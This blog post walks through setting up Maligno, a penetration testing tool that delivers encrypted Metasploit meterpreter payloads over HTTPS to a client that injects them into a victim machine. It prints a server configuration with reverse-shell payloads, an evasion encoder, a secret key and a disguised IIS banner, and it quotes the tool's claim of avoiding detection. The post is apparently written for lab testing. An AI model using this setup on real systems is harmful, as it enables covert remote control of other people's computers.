May 30

Maligno (Metasploit Payload Server) – Hands On

I stumbled across Maligno on SecurityTube there’s a good video:

Maligno is an open source penetration testing tool that from Encripto ( that serves Metasploit payloads.

The only negative I can see with it are that Python needs to be installed on the victim along with Pycrypto (which may be present on *nix targets but is not part of Python 2.7 for Windows).

Maligno is available for download here:

What is it? [From the Maligno README]

It generates shellcode with msfvenom and transmits it over HTTP or HTTPS.

The shellcode is encrypted with AES and encoded with Base64 prior to transmission.

Maligno comes with a client tool, which is a modified version of David Kennedy’s PyInjector. Such modified client implements HTTP, HTTPS and encryption capabilities.

The client is able to connect to Maligno in order to download an encrypted Metasploit payload. Once the shellcode is received, the client will decode it, decrypt it and inject it in the target machine.

As a result, you should get your Metasploit session while avoiding detection.

Hands On

My Lab setup:



First Use:

You must create an SSL certificate in order to set up Maligno with HTTPS. will do the job for you.



Make the appropriate changes to server.conf:


msfpath = /opt/metasploit/app/

msfpayload = windows/meterpreter/reverse_https, windows/meterpreter/reverse_tcp, windows/meterpreter/reverse_http

msflhost =

msflport = 4444

msfencoder = x86/shikata_ga_nai

msfiterations = 10

msfcache = true

msfcachefile = msfcache


base64rounds = 1

blocksize = 32

paddingchar = !

secret = cedbd5af520bdab20c3b79d521d8b1c8


scope =


srvport = 443

ssl = true

sslcert = ./certs/server.pem

banner = Microsoft-IIS/7.5

reqparam = id

Upload and make appropriate changes to i.e.:

# IP address and port where Maligno server is waiting for connections

server_addr = “”

server_port = “443”

Starting Maligno Server:

# ./


| Maligno v0.6: A Metasploit payload server |

| by Juan J. Guelfo, Encripto AS ( |


[*] Starting Maligno…

[*] Reading server configuration…

[*] SSL certificate file found. SSL enabled…

[*] Maligno is up and running. Press CTRL+C to stop…

Maligno Client Dependencies:

Python (Tested with 2.7 on Windows XP)


pycrypto (

Tested with

Running Maligno Server:

CTRL-C Maligno server as soon as…

[+] Package sent!

[*] End of request

…is received.

Victim (Maligno Client):

Meterpreter session doesn’t seem to start until you CTRL-C the Maligno Server (which has done it’s job anyway!)


: )

Leave a Reply

Your email address will not be published.